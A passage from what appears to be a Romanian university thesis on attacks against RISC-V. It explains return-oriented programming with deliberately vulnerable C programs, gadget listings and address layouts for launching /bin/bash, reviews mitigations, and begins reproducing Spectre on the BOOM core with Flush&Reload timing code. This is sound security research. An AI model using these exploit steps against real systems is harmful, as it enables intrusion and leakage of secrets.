compilator cu această opt, iune dezactivată. O eventuală activare în timpul generării compi-
latorului s, i a celorlalte ustensile implică realizarea tuturor executabilelor cu zona de stivă
executabilă.

De asemenea, trebuie să reamintim că primul pas în realizarea atacului a fost reprezentat de
oprirea ASLR-ului (Adress Space Layout Randomization). Această metodă de protect, ie face
ca descoperirea adreselor de pe stivă, heap s, i din biblioteci să fie mult mai dificilă întrucât
pozit, ionarea acestor zone de memorie se realizează începând de la adrese diferite la fiecare
rulare a executabilului.

Aceste ultime două situat, ii vor fi analizate în capitolul următor unde va fi folosită o tehnică
diferită numită ROP pentru obt, inerea lansării unui shell.
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Capitolul 4

ROP

4.1 Descrierea atacului

ROP (Return Oriented Programming) este o modalitate de exploatare apărută ca un
răspuns la introducerea DEP-ului. Aceasta a fost utilizată pentru prima dată în anul 2001
[28] s, i presupune folosirea unor bucăt, i de cod valide utilizate una în continuarea celeilalte
pentru realizarea artificială a unui shellcode.

Aceste fragmente se numesc gadget-uri s, i sunt formate dintr-un număr redus de instruct, iuni
terminate în ret. În cadrul arhitecturii x86, lucrurile sunt mult mai simple întrucât execut, ia
acestei ultime instruct, iuni presupune saltul la adresa de la următoarea locat, ie de pe stivă
care poate fi bineînt,eles adresa următorului gadget. În cazul RISC-V, ret presupune saltul
la adresa ret, inută în registrul ra, astfel că în cele mai multe cazuri gadget-urile trebuie să
cont, ină s, i o încărcare în acest registru dintr-o zonă la care avem acces, de exemplu stiva.
Partea care us,urează put, in lucrurile este reprezentată de construct, ia cadrului de apel. Re-
gistrul ra este de tip callee-saved, astfel că valoarea lui este restaurată înainte de ies, irea din
funct, ie, deci înainte de instruct, iunea ret. Stocarea adresei următorului gadget la adresa de
la care se realizează restaurarea va ment, ine continuitatea dintre aceste bucăt, i de cod.

Totus, i, o altă instruct, iune prezentă în cadrul de apel, este s, i cea care scade dimensiunea
stivei. Astfel, un număr suficient de mare de gadget-uri va duce cel mai probabil la epuiza-
rea spat, iului disponibil.

O astfel de secvent,ă de bucăt, i de cod poartă denumirea de ropchain s, i s-a demonstrat
că, exact ca în cazul x86 s, i Sparc [31], se poate defini un set Turing complet [19]. Practic, se
poate obt, ine execut, ia oricărui cod prin folosirea tehnicii ROP. Autorii articolului au realizat
în 2020 un compilator care poate lua orice bucată de cod de orice complexitate scrisă într-un
limbaj despre care cunoas,te că este se Turing complet s, i o poate transforma într-un ropchain
în asamblare RISC-V.
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4.2 Reproducerea atacului

Atacul a fost realizat în acelas, i mediu ca cel prezentat în capitolul anterior. Mai întâi, pentru
evitarea mecanismului DEP, vom păstra dezactivat ASLR-ul s, i vom considera programul
vulnerabil de mai jos.

1 // rop1.c
2 # include <stdio.h>
3 # include <fcntl.h>
4 # include <stdlib .h>
5 # include <unistd .h>
6
7 void vulnerable (int fd) {
8 char buf [120];
9 read(fd , buf , 250);

10 printf ("%lx\n", buf );
11 printf (" Vulnerable function \n");
12
13 }
14
15 int main(int argc , char ** argv) {
16 int fd = open(" exploit ", ’r’);
17 vulnerable (fd);
18 return 0;
19 }

Cod 4.1: Program vulnerabil la un atac de tip buffer overflow - utilizare ROP

De data aceasta vulnerabilitatea introdusă este legată de citirea unui număr mai mare de
caractere decât dimensiunea vectorului. Cum programul este destul de scurt pentru a găsi
bucăt, i de cod utilizabile (există doar două gadget-uri), vom căuta astfel de bucăt, i de cod s, i în
libc (în cazul de fat,ă libc-2.32.so). Scopul este acelas, i ca mai devreme, obt, inerea lansării în
execut, ie a unui terminal. Pentru aceasta vom dori să apelăm funct, ia system, având încărcat
în registrul a0 primul argument, adică adresa s, irului de caractere "/bin/bash".

Întrucât putem profita în continuare de constant,a adreselor de pe stivă, iar inputul este
cel introdus de utilizator, putem stoca respectivul s, ir la o anumită distant,ă de sp. Pentru
găsirea gadget-ului vom căuta bucăt, i scurte de cod care să cont, ină memorarea în ra s, i o
instruct, iune ret. Dintre acestea le vom păstra doar pe cele care realizează o încărcare de pe
stivă s, i în registrul a0. Aruncând o privire rapid peste ce am obt, inut, descoperim următoarea
bucată de cod.

1 576 b6: 6522 ld a0 ,8( sp)
2 576 b8: 60e2 ld ra ,24( sp)
3 576 ba: 6105 addi sp ,sp ,32
4 576 bc: 8082 ret

Cod 4.2: Gadget libc
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Astfel, la această adresă de început vom aduna baza libc-ului care, în acest context, este
constantă s, i poate fi găsită verificând mapările din cadrul procesului. De asemenea, adresa
funct, iei system raportată la baza libc-ului se poate descoperi us,or, urmând apoi a fi adunată
la aceeas, i valoare descoperită anterior. În cele din urmă cont, inutul fis, ierului din care se face
citirea va fi reprezentat ca o secvent,ă de octet, i ilustrată în figura de mai jos direct în maniera
în care se realizează salvarea pe stivă.

Figura 4.1: Stiva după citirea din fis,ier în faza de retur

Rularea atacului este ilustrată în caseta următoare, cont, inutul scriptului Python care gene-
rează fis, ierul exploit fiind prezentat în anexa B.

Figura 4.2: Suprascrierea adresei de retur cu adresa unui ropchain

Acest exemplu presupune în continuare cunoas,terea adreselor de pe stivă s, i adreselor din
libc. În cazul în care ASLR-ul va fi reactivat, iar baza stivei s, i a bibliotecii de C vor fi de
fiecare dată pozit, ionate la adrese diferite, acest atac va fi posibil doar în cazul în care există
o altă vulnerabilitate care să permită aflarea lor, cum ar fi de exemplu o vulnerabilitate de
tip format string [33]. Pe scurt, omiterea acestui format string din funct, ii de tipul printf
va face ca afis,area unui buffer în care se află caractere % să nu se realizeze în modul as,teptat.
În schimb, string-ul va fi interpretat ca un format string s, i se va afis,a informat, ie de pe stivă.
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Totus, i ASLR-ul nu modifică baza s, i în cazul executabilului în sine, astfel că sect, iunile
.text,.data,.rodata,.plt etc. sunt situate la aceleas, i adrese. Astfel, într-un execu-
tabil cu destul de mult cod este extrem de posibil să descoperim gadget-urile necesare în
sect, iunea proprie cu instruct, iuni. Orice declarare a unui s, ir de caractere se va realiza s, i ea la
aceeas, i adresă. Prezent,a în cod a string-ului "/bin/bash" folosit într-un context diferit de
cel intent, ionat de noi va face posibilă utilizarea lui s, i în cadrul unui ropchain. De asemenea,
posibilitatea de a scrie într-o variabilă globală face ca utilizatorul să poată introduce de unul
singur s, irul de caractere dorit din nou la o adresă constantă. Mai mult decât atât, folosirea
oricărei funct, ii din biblioteca de C conduce la depozitarea adresei sale din libc în cadrul
sect, iunii .plt a cărei bază rămâne constantă.

Pentru exemplificare să considerăm programul vulnerabil din caseta de mai jos.

1 // rop2.c
2 # include <fcntl.h>
3 # include <stdlib .h>
4 # include <unistd .h>
5 # include <string .h>
6
7 char buf_glob [20];
8 char command [31]="echo Hello ";
9

10 void vulnerable (int fd) {
11 char buf [120];
12 read(fd , buf , 350);
13 printf ("What is your name ?\n");
14 scanf("%s", buf_glob );
15 if ( strlen ( buf_glob ) > 20)
16 printf ("Long input\n");
17 else {
18 strcat (command , buf_glob );
19 system ( command );
20 }
21 __asm__ ("ld a0 , 136( sp)");
22 }
23
24 int main(int argc , char ** argv) {
25 int fd = open(" exploit2 ", ’r’);
26 vulnerable (fd);
27 return 0;
28 }

Cod 4.3: Program vulnerabil la un atac de tip buffer overflow - utilizare ROP, ASLR activat

Programul prezintă aceeas, i vulnerabilitate ca mai devreme, realizându-se o citire din fis, ier
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de mai multe caractere decât spat, iul alocat. De data aceasta are loc s, i o citire de la tastatură
într-un vector global care va fi afis,at prin funct, ia system s, i comanda echo dacă dimensiunea
lui nu depăs,es,te 20 de caractere. O instruct, iune în asamblare este adăugată în final pentru
posibilitatea realizării atacului s, i descoperirii bucăt, ilor de cod necesare unui ropchain. Într-
un caz real în care executabilul este obt, inut din surse numeroase cu mai mult de 28 de linii
de cod, acest artificiu nu ar fi necesar.

As,a cum am amintit anterior toate funct, iile utilizate pe parcursul executabilul se vor găsi
în sect, iunea .plt, deci adresa lui system este cunoscută pentru că a fost folosit pentru
afis,are. De asemenea, vectorul global în care putem introduce string-ul "/bin/bash" este
în sect, iunea .data s, i are adresă constantă. Ca ultimă remarcă un gadget similar celui de la
programul anterior se regăses,te în finalul funct, iei vulnerable.

1 0x00000000000106 c4 <+110 >: ld a0 ,136( sp)
2 0x00000000000106 c6 <+112 >: nop
3 0x00000000000106 c8 <+114 >: ld ra ,152( sp)
4 0x00000000000106 ca <+116 >: ld s0 ,144( sp)
5 0x00000000000106 cc <+118 >: addi sp ,sp ,160
6 0x00000000000106 ce <+120 >: ret

Cod 4.4: Gadget executabil

Pozit, ionând, as,adar, adresa gadget-ului în locul adresei de retur, adresa lui buf_glob la
136(sp) s, i adresa lui system la 152(sp) s, i introducând de la tastatură string-ul "/bin/bash",
vom obt, ine lansarea în execut, ie a unui shell. Construirea cont, inutului fis, ierului exploit2 se
realizează folosind din nou un script de Python prezentat s, i el în anexa B. Rularea atacului
este ilustrată mai jos.

Figura 4.3: Folosirea tehnicii ROP când ASLR este activat

4.3 Posibile tehnici de mitigare

Ca s, i în cazul unui buffer overflow clasic, un prim mecanism de apărare ce ar trebui intro-
dus este stack cookie-ul care va produce o eroare în cazul în care adresa de retur este rescrisă.
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În plus pentru evitarea unui atac ce foloses,te bucăt, i de cod din sect, iunea de text, as,a cum
am văzut mai devreme, ASLR nu mai este suficient. În schimb, o nouă tehnică introdusă
denumită PIE (Position Independent Executables) face ca executabilul să nu se mai
încarce de fiecare dată la aceeas, i adresă. În schimb, linker-ul va considera adresa de start
o relocare s, i la fiecare nouă rulare, executabilul se va încărca începând cu o adresă diferită.
Evident, performant,a este put, in scăzută pentru că nu se utilizează o valoare absolută, ci se
face un salt indirect, dar atacurile ROP sunt mult mai greu de executat în aceste condit, ii.
Ca s, i mai devreme este nevoie de o nouă vulnerabilitate pentru descoperirea acestei adrese
de start. Acest mecanism este introdus prin folosirea opt, iunii fPIE la compilare sau pie la
linkare.

Din nefericire, mitigarea atacurilor de tip ROP se opres,te aici în cazul acestei arhitecturi noi.
Opt, iunile existente pe x86 cum ar fi mmitigate-rop în cazul gcc sau Integritatea fluxului
de control (CFI) utilizată de clang, nu sunt încă implementate pe RISC-V.

Mai mult decât atât, diferit, ii algoritmi elaborat, i pentru detect, ia s, i prevent, ia atacurilor de
tip ROP nu pot fi aplicat, i. G-Free [29] este un algoritm care protejează instruct, iunile de
tipul ret cu o valoare similară stack cookie-ului care permite ajungerea în respectiva zonă de
cod doar prin modalitatea corectă. Un alt algoritm cunoscut de detect, ie s, i reinventat apoi în
diverse variante este Galileo [34] care foloses,te dezasamblarea s, i pleacă de la instruct, iunile
de tip ret s, i creează un arbore de posibile gadget-uri.

Niciunul dintre aces,ti doi algoritmi nu conduc totus, i la o mitigare a anumitor variante de
atacuri ROP. La începutul acestui an, o echipă de cercetători a descoperit o nouă familie
de gadget-uri mult mai puternice. Autorii descriu în articolul [23] o modalitate detaliată de
creare a unor astfel de bucăt, i de cod nedectabile. În principal, ideea se bazează pe vulne-
rabilitatea introdusă prin folosirea setului RV64C care reduce dimensiunea instruct, iunilor.
Utilizarea sa în cadrul RV64GC conduce la existent,a de instruct, iuni de două dimensiuni,
iar o instruct, iune mare ar putea ascunde două instruct, iuni mici care să realizeze un efect
nedorit. Astfel, Galileo nu va reus, i detect, ia lor s, i nici G-Free nu va produce o modificare a
respectivei instruct, iuni, întrucât nu va fi considerată una de interes.

As,adar, RISC-V aduce nis,te probleme suplimentare, dar care totus, i pot fi evitate prin
folosirea cu precaut, ie a seturilor de instruct, iuni în funct, ie de necesitate. În acelas, i timp,
majoritatea tehnicilor de apărare sunt implementate, lucrându-se în continuare la divers, i
algoritmi de îmbunătăt, ire a securităt, ii.
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Capitolul 5

Spectre

5.1 Descrierea atacului

Acest atac a apărut într-o primă formă în anul 2018 [24] s, i vizează orice procesor modern
cu execut, ie speculativă, inclusiv pe cele mai răspândite din zilele noastre produse de Intel,
AMD s, i ARM.

Atacurile de tip Spectre presupun o scurgere de informat, ii din procesul victimă realizată
prin execut, ia speculativă a unor instruct, iuni ce lasă în urmă nis,te efecte secundare. Mai
precis, pentru a nu pierde cicli în as,teptarea direct, iei s, i adresei necesare în cazul salturi-
lor, procesorul speculează aceste informat, ii s, i merge mai departe cu execut, ia, procesând
instruct, iunile fără a le comite.

În cazul în care speculat, ia a fost una corectă, execut, ia ajunge la final într-un singur ci-
clu. Altfel, instruct, iunile sunt eliminate s, i în cel mai rău caz, as,teptarea este aceeas, i ca
în cazul în care nu ar fi existat execut, ie speculativă. La o primă privire, pare că această
optimizare aduce numai beneficii, dar există o problemă majoră în hardware destul de greu
de corectat care implică o vulnerabilitate extrem de mare. Cerint,a dezvoltată în momentul
gândirii acestui nou concept a fost ca toate componentele fizice să poată ajunge înapoi într-o
stare validă, nu neapărat în starea init, ială, în cazul în care speculat, ia a fost una incorectă.
În acest context, orice instruct, iune de încărcare din memorie executată speculativ aduce în
memoria cache respectiva valoare, iar efectul de readucere a sistemului în faza init, ială nu
realizează s, i o golire a memoriei cache.

Practic, o informat, ie ce nu ar trebui să fie accesată, rămâne depozitată în memoria ca-
che. Un proces malit, ios cu acces în aceeas, i zonă de memorie poate afla acum informat, ia
utilizată de procesul victimă. Pentru aflarea acestei informat, ii, se pot folosi diverse atacuri
de tip side-channel cum ar fi Flush&Reload [41] sau Evict&Reload [21].

Pe scurt, atacul Flush&Reload care va fi folosit în sect, iunile următoare presupune goli-
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rea memoriei cache înaintea începerii atacului. Victima va aduce în memorie informat, ia
utilizată. Pentru a o descoperi, atacatorul va utiliza informat, ia din blocul respectiv de me-
morie rând pe rând. Executând o măsurătoare a timpului de încărcare, va putea descoperi
accesarea realizată de victimă întrucât elementul respectiv se află deja în memoria cache, iar
timpul de as,teptare va fi clar mai mic.

Acest tip de atac se poate desfăs,ura în mai multe contexte. Primul dintre ele a fost ment, ionat
anterior, un proces malit, ios poate ataca procesul utilizatorului, de exemplu la o schimbare
de context pe acelas, i hardware. O altă posibilitate ar fi ca un proces al utilizatorului să
obt, ină informat, ii dintr-o zonă de memorie privilegiată în cazul în care acesta poate trimite
kernel-ului un parametru de care să depindă accesul în respectiva zonă. Într-o manieră si-
milară, o mas, ină virtuală poate ataca mas, ina gazdă sau chiar o altă mas, ină virtuală [14].

Articolul init, ial [24] descrie doar două situat, ii în care această vulnerabilitate se poate ex-
ploata s, i doar pe arhitecturile ment, ionate. Lucrurile au evoluat rapid, iar în prezent există
numeroase variante ale acestui atac s, i numeroase arhitecturi speculative pe care pot fi re-
produse. În continuare vor fi prezentate trei dintre aceste variante s, i modul în care pot fi
reproduse pe o arhitectură RISC-V.

5.2 BOOM

BOOM (Berkeley Out-of-Order Machine) este un nucleu RISC-V RV64GC open-source
construit în limbajul de construct, ie de hardware Chisel. A apărut sub forma unui proiect de
cercetare în cadrul aceluias, i departament de Arhitectura Calculatoarelor de la Universitatea
Berkeley în anul 2018. Principala motivat, ie din spatele acestui nou nucleu este reprezentată
de necesitatea unei alinieri cu procesoarele moderne ale vremii.

În zilele noastre un procesor performant are o structură mult mai complexă, realizând nis,te
etape sofisticate pentru procesarea instruct, iunilor. Performant,a este mărită astfel semnifica-
tiv de la an la an odată cu aparit, ia fiecărei noi generat, ii. BOOM preia o mare parte dintre
caracteristicile acestor nuclee moderne, aducând în discut, ie pentru prima dată în cazul arhi-
tecturii RISC-V concepte precum arhitectură superscalară, execut, ie out-of-order s, i
execut, ie speculativă.

Acest nucleu a fost dezvoltat având ca punct de plecare RTL-ul (Register transfer lan-
guage) unui SoC (System on Chip) deja existent denumit Rocket Chip care a apărut
sub diverse forme încă din anul 2011. Practic singura componentă înlocuită de pe acest cip
a fost exact nucleul care funct, iona pe baza unui pipeline clasic în 5 etape. Celelalte module
precum unităt, ile de funct, ionare, memoriile cache, TLB-ul (Translation Look-Aside Bu-
ffer) s, i altele sunt privite ca făcând parte dintr-o bibliotecă de componente ale procesorului
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as,a cum se specifică s, i în sursa [12].

Figura 5.1: Etapele simplificate din pipeline[12]

Pipeline-ul nucleului BOOM este prezentat în figura 5.1 s, i este format din 10 etape. În etapa
de fetch, instruct, iunea este adusă din memorie s, i încărcată într-o coadă. Tot în această parte
se realizează s, i predict, ia branch-urilor la care vom reveni ulterior. Mai departe, instruct, iunea
este decodată, iar regis,trii arhitecturii sunt redenumit,i în regis,tri fizici. Micro-operat, iile
rezultate sunt apoi direct,ionate către cozile corespunzătoare în funct, ie de tipul acestora
(aritmetice, de accesare a memoriei, în virgulă mobilă). Aceste operat, ii stau în nis,te cozi
denumite Issue Queues până când tot, i operanzii lor sunt disponibili. În următoarea etapă
se citesc valorile din regis, tri s, i se execută instruct, iunea în cazul operat, iilor aritmetice s, i
în virgulă mobilă sau se calculează adresa pentru cele de accesare a memoriei. Doar pentru
acestea, există o fază suplimentară de memorare care accesează trei cozi - LAQ (Load
Address Queue), SAQ (Store Address Queue) s, i SDQ (Store Data Queue) în care
se vor încărca valorile necesare. În cazul încărcării din memorie act, iunea se realizează ime-
diat. Stocarea are loc abia la final. În continuare, rezultatul operat, iilor este depus în
regis, tri s, i are loc o fază finală de commit în care ROB (Reorder Buffer) t, ine evident,a
instruct, iunilor executate speculativ s, i revine în starea init, ială dacă s-a produs o predict, ie
gres, ită. Tot aici memoria este modificată conform valorilor din cozile de stocare dacă s-a
decis păstrarea instruct, iunii.

As,a cum am ment, ionat anterior, BOOM este o arhitectură superscalară, adică poate exe-
cuta mai mult de o instruct, iune în acelas, i timp. Spre deosebire de nucleele clasice, într-un
ciclu poate intra în pipeline un grup de instruct, iuni, fiecare dintre etapele prezentate mai sus
aplicându-se, de fapt, pe întreg grupul. De exemplu, putem vorbi de un commit superscalar
în cazul în care mai multe instruct, iuni din ROB sunt disponibile. De asemenea, redenumirea
regis,trilor se poate realiza tot superscalar dacă nu există nicio dependint,ă între instruct, iunile
din pachet.
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De asemenea, prezentarea ciclurilor din pipeline a făcut destul de clar de ce BOOM este s, i o
arhitectură out-of-order. Instruct, iunile nu parcurg secvent, ial etapele, micro-operat, iile com-
ponente fiind depozitate în cozi s, i executate în funct, ie de disponibilitatea operanzilor. Când
toate acestea au fost finalizate s, i toate instruct, iunile anterioare executate, o instruct, iune
poate fi s, i ea eliminată din ROB, iar modificările aduse să fie comise în regis,tri s, i celelalte
componente de arhitectură. Astfel, numărul de cicluri irosite este mult mai redus fat,ă de
execut, ia in-order de pe procesoarele clasice s, i cu toate acestea aspectul final al programului
este păstrat, instruct, iunile modificând starea arhitecturală în aceeas, i ordine.

Mai mult decât atât, BOOM realizează s, i o execut, ie speculativă în cazul în care direct, ia
de urmat nu este una clară. Prezicerea ramurii pe care o va urma execut, ia programului se
reflectă în existent,a unui Branch Tag care marchează pentru fiecare instruct, iune ramura
sub care aceasta este speculată. Odată cunoscută calea, toate instruct, iunile ajunse în ROB s, i
prezise gres, it vor fi eliminate. Numărul maxim de instruct, iuni ce pot fi executate speculativ
va depinde deci de dimensiunea de stocare a acestui buffer. De asemenea, la fiecare trecere
a unei instruct, iuni de salt se realizează o copie a tabelei de regis,tri pentru a se putea reveni
la această stare a procesorului.

Prezicerea în cazul salturilor presupune două operat, ii distincte. Pe de o parte se prezice
adresa de salt atât în cazul salturilor ramificate (dacă s-a efectuat salt), cât s, i în cazul celor
neramificate, fiind trecute în pipeline instruct, iuni de la respectiva adresă până în momentul
în care devine cunoscută. Pentru aceasta, BOOM foloses,te un NLP (Next Line Predic-
tor) care întoarce un rezultat într-un singur ciclu. La nivelul său sunt încorporate RAS
(Return Adress Buffer) ce stochează cele mai recente adrese de retur la care s-a realizat
saltul printr-o instruct, iune de tip ret s, i BTB (Branch Target Buffer) unde se memo-
rează calea aleasă la întâlnirea ultimelor salturi. Pe de cealaltă parte când vorbim despre
prezicerea salturilor în cazul celor ramificate, vorbim s, i despre a prezice care ramură va fi
urmată, dacă branch-ul o să fie taken sau not taken. În cazul NLP-ului, prezicerea se face
printr-o unitate bimodală care ia în considerare comportamentul manifestat la procesarea
saltului în ultimele două dăt, i. Această tehnică face posibilă recunoas,terea unei anumite
regularităt, i în cazul în care ea există.

Totus, i acuratet,ea nu este una suficient de bună, iar pentru prezicerea ramificării este imple-
mentat un BP (Backing Predictor) care este mult mai încet, dar cu rezultate mult mai
bune. BP este un predictor care ia în considerare istoria globală, oferind practic un context
mult mai vast în luarea unei decizii. Acesta este implementat ca o clasă abstractă. Principa-
lul predictor folosit este GShare care foloses,te adresa instruct, iunii s, i istoria globală pentru
a face o predict, ie în 4 cicli. Un alt predictor implementat este TAGE, însă cel preferat este
GShare întrucât este mult mai us,or de antrenat.
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Figura 5.2: Etapa de fetch cu detalii despre BPU (Branch Predictor Unit) [12]

Ca în cazul tuturor procesoarelor speculative, toate rezultatele obt, inute prin execut, ie spe-
culativă sunt depozitate temporar în memoria cache. În cazul de fat,ă, BOOM foloses,te
memoria cache L1 de pe cipul Rocket. S, i tot la fel ca celelalte procesoare mai vechi, în mo-
mentul aparit, iei unei speculat, ii gres, ite, regis,trii revin la starea anterioară, instruct, iunile sunt
eliminate din ROB, dar memoria cache nu este curăt,ată. Astfel, BOOM este un candidat
ideal pentru reflectarea atacurilor Spectre s, i pe arhitectura RISC-V.

5.3 Reproducerea atacurilor pe BOOM

BOOM as,a cum am amintit s, i în sect, iunea anterioară este un nucleu scris în Chisel. Chisel
este un limbaj de construct, ie de hardware, dezvoltat la Universitatea Berkeley, scris în Scala.
Acesta permite construct, ia de hardware avansat prin utilizarea unor generatoare de circuit
parametrizabile. Astfel, este facilitată reutilizarea diverselor componente s, i biblioteci, fiind
folosit pentru programarea FPGA-urilor (Field Programmable Gate Array).

Acest nucleu, alături de altele dezvoltate în cadrul acestei universităt, i s, i o serie de ustensile,
acceleratoare, simulatoare s, i biblioteci au fost incluse într-un proiect numit Chipyard ex-
trem de utilizat pentru dezvoltate de SoC-uri. Acest proiect include mai multe variante de
configurat, ii BOOM cu număr diferit de nuclee, cu suport pentru vectorizare s, i număr diferit
de intrări pentru diverse componente. În cadrul experimentelor viitoare se va folosi cea mai
mică configurat, ie disponibilă cu un singur nucleu SmallBoomConfig.

28



Toate aceste configurat, ii pot fi utilizate atât într-un context comercial direct pe FPGA-
uri sau folosind simulatorul VCS, cât s, i într-o variantă open-source, folosind simulatorul
Verilator, as,a cum s-a întâmplat s, i în cazul acestei lucrări. Des, i timpul de as,teptare este
unul ridicat, simularea aceasta crescându-l s, i până la de 50 de ori mai mult doar în cazul
acestei configurat, ii minime, rezultatele sunt precise, comportamentul fiind absolut similar.

În principal, va fi utilizată ultima variantă de BOOM, versiunea numărul 3, denumită So-
nicBoom. Pentru atacul în cazul salturilor ramificate 5.3.2, va fi folosită totus, i o variantă
anterioară, versiunea doi, întrucât des, i nu există o mitigare reală a atacului, modul în care
funct, ionează memoria cache care joacă un rol extrem de important, face ca atacul să nu
poată fi reprodus. Autorii atacurilor descriu într-o problemă deschisă în cadrul repository-
ului lor un comportament diferit al memoriei cache L1 în care execut, ia speculativă a unei
instruct, iuni de încărcare a cărei valoare este aflată extrem de rapid face ca umplerea me-
moriei să fie anulată [13]. După cum vom vedea în cele ce urmează această modificare este
extrem de importantă s, i ar împiedica realizarea atacului.

5.3.1 Memoria cache s, i atacul Flush & Reload

Un procedeu comun tuturor variantelor Spectre ce vor fi prezentate în continuare este atacul
de tip side-channel utilizat pentru aflarea informat, iei stocate în memoria cache. Un astfel
de atac se bazează pe informat, iile ce pot fi aflate folosind diferite efecte ale sistemului fizic.
De exemplu, un atac de timp foloses,te măsurarea numărului de cicli pentru a deduce diverse
informat, ii despre activitatea pe care o desfăs,oară victima.

În cazul de fat,ă, atacul pe care ne vom baza se numes,te Flush&Reload s, i presupune go-
lirea de către atacator a memoriei cache înainte de începerea execut, iei procesului victimă.
Ulterior, după ce acesta termină de rulat, atacatorul poate accesa, ca în cazul de fat,ă, un
vector cu informat, ii element cu element s, i măsura timpul de as,teptare. Dacă timpul a fost
unul mare, înseamnă că elementul a trebuit adus din memoria principală. Altfel, elementul
a fost regăsit în memoria cache s, i deci a fost utilizat de către procesul victimă.

Pentru golirea zonei de memorie din cache, arhitectura x86 foloses,te o instruct, iune spe-
cifică clflush. În cazul RISC-V o astfel de instruct, iune nu există, iar autorii articolului [20]
au fost nevoit, i să implementeze o funct, ie care să producă golirea unui întreg set din memorie
s, i de asemenea să declare vectorul considerat în zona de interes cu o dimensiune multiplu de
dimensiunea unui bloc.

Memoria cache este o zonă de memorie utilizată de procesor pentru reducerea timpului
de as,teptare în cazul în care este necesar să fie aduse date din memoria RAM. În general,
ea este descompusă pe mai multe nivele, începând de la L1 s, i ajungând chiar până la L4,
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primul nivel fiind cel mai rapid accesibil, dar s, i cu capacitatea de stocare cea mai mică. As,a
cum am amintit s, i anterior, BOOM foloses,te doar memoria L1.

Modul în care se realizează maparea blocurilor din memoria principală în cache este de-
finit de o politică de plasare. Dacă politica de plasare este una liberă, un bloc poate fi plasat
oriunde s, i memoria cache se numes,te complet asociativă. Dacă blocul poate fi plasat doar
la o anumită adresă, aceasta se numes,te cu mapare directă. Altfel, fiecare set din memorie
poate fi împărt, it în N căi s, i oricărui bloc îi corespund N posibile intrări. O astfel de memorie
cache se numes,te asociativă cu seturi cu N căi (N-way set associative). Aceste intrări
din memoria cache dispuse matriceal cont, in de fapt blocurile de o anumită dimensiune care
sunt aduse din memoria principală. As,adar o astfel de intrare cont, ine datele propriu zise, un
tag care reprezintă o parte din adresă s, i un bit de validare (dacă instruct, iunile/datele sunt
corecte) s, i în cazul D-cache-ului - memoriei de date s, i un bit care marchează dacă respectiva
valoarea mai este de actualitate sau a fost modificată.

Figura 5.3: Memorie cache two-way set associative cu k seturi

Modul în care se realizează căutarea unei adrese accesate de program în memoria cache res-
pectă formatul din figura 5.4. Offset-ul este reprezentat de numărul octetului ce se dores,te a
se accesa din bloc, în funct, ie de dimensiunea acestuia stabilindu-se numărul de bit, i pe care
offset-ul poate fi reprezentat. Apoi, bazat pe numărul de seturi din memoria cache se decide
numărul de bit, i pe care poate fi reprezentat indexul setului care îi va corespunde respectivei
adrese. Restul până la 64 de bit, i (adresele sunt reprezentate pe 64 de bit, i) îi vor fi alocat, i
tag-ului. Pe baza setului s, i tag-ului se caută în memoria cache blocul corespunzător. Dacă el
a fost identificat, se utilizează valoarea indicată de offset, altfel blocul este adus din memorie
principală.

Figura 5.4: Maparea unei adrese

Revenind la nucleul BOOM, cache-ul folosit are 64 de seturi s, i este de tip 4-way set associ-
ative, iar blocurile sunt de 64 de octet, i. Aceste informat, ii sunt necesare pentru a cunoas,te
ce valori trebuie evacuate din cache. Spre deosebire de instruct, iunea de pe x86 care evacua
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doar o linie, neexistând o modalitate de verificare din cod a liniei ce va fi aleasă dintre cele
4, funct, ia construită determină evacuarea întregului set. Pentru acesta se va declara un
vector de o dimensiune multiplu de dimensiunea memoriei cache s, i se va căuta prima adresă
aliniată ce se va mapa la baza acesteia (setul de index 0 s, i offset-ul 0).

Să considerăm acum în concordant,ă cu codul implementat de către autorii articolului [20]
s, i redat în Anexa C vectorul addr de dimensiune sz ce se dores,te evacuat din cache. Nu-
mărul de seturi ce trebuie evacuate este raportat la sz, iar setul init, ial este obt, inut urmând
pas, ii descris, i în paragraful precedent. Totus, i, cum intrarea exactă nu poate fi cunoscută,
existând posibilitatea ca oricare dintre cele 4 căi să fie aleasă, golirea trebuie să se realizeze
de un număr de ori suficient de mare astfel încât măcar o dată să se producă golirea căi
vizate. Autorii au stabilit ca un număr ce rezolvă problema în 99% din cazuri, valoarea
4 * L1_WAYS. Astfel accesată memoria aflată la offset-ul setului plus offset-ul celor patru
căi fat,ă de memoria aliniată descrisă anterior, maparea se va realiza în zona pe care o dorim
curăt,ată, valorile începând la adresa addr fiind eliminate din cache.

Având acum o metodă de golire a memoriei cache, atacul de tip Flush & Reload poate
fi aplicat. Vom considera vectorul array2[256 * L1_BLOCK_SZ_BYTES] un vector ce poate
fi accesat atât de atacator, cât s, i de victimă, dorind să aflăm indexul de la care cea din
urmă a efectuat încărcarea. Cum evacuarea din cache se realizează local, pe un întreg bloc,
vectorul a fost declarat astfel încât să permită măsurarea individuală pentru accesul celor
256 de elemente. De asemenea, pentru concludent,ă, s-a decis efectuarea atacului de 10 ori
s, i stocarea rezultatelor într-un vector results pentru ca emularea să nu producă rezultate
eronate, iar în final decizia să fie luată cu un nivel de încredere ridicat.

Mai întâi se va realiza as,a cum am amintit evacuarea memoriei cache. Ulterior victima
va efectua o accesare a unui element. Atacatorul în final va reveni s, i va accesa pe rând toate
elementele, măsurând ciclii de care a fost nevoie pentru încărcare. În cazul în care timpul
va fi mai mic decât pragul CACHE_HIT_THRESHOLD definit ca având valoarea de 50 de cicli,
intrarea din vectorul results va cres,te cu unu, indicând posibilitatea ca respectiva valoare
să fie cea accesată. În final, după aceste 10 repetări, indexul cu valoarea cea mai mare va fi
considerat cel folosit de victimă. Principalele instruct, iuni din program se regăsesc mai jos,
codul complet fiind adăugat în Anexa C.

1 uint8_t dummy = array2 [100 * L1_BLOCK_SZ_BYTES ];
2 for ( uint64_t i = 0; i < 256; ++i){
3 start = rdcycle ();
4 dummy &= array2 [i * L1_BLOCK_SZ_BYTES ];
5 diff = ( rdcycle () - start );
6 if (diff < CACHE_HIT_THRESHOLD )
7 results [i] += 1;

Cod 5.1: Flush & Reload
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O ilustrare a realizării atacului este prezentată în figura 5.5.

Figura 5.5: Ilustrarea atacului Flush & Reload

5.3.2 Execut, ia speculativă în cazul salturilor ramificate

Acest tip de vulnerabilitate a fost prezentat în anul 2019, fiind cunoscut ca prima variantă
de Spectre s, i a fost identificat pe microprocesoarele Intel, AMD s, i ARM [24]. Ea vizează
toate arhitecturile speculative cunoscute s, i deci, în mod evident s, i BOOM. Pentru prima
dată, pe RISC-V, atacul a fost reprodus de un grup de student, i de la Universitatea Berkeley
în cadrul unui proiect de cercetare.

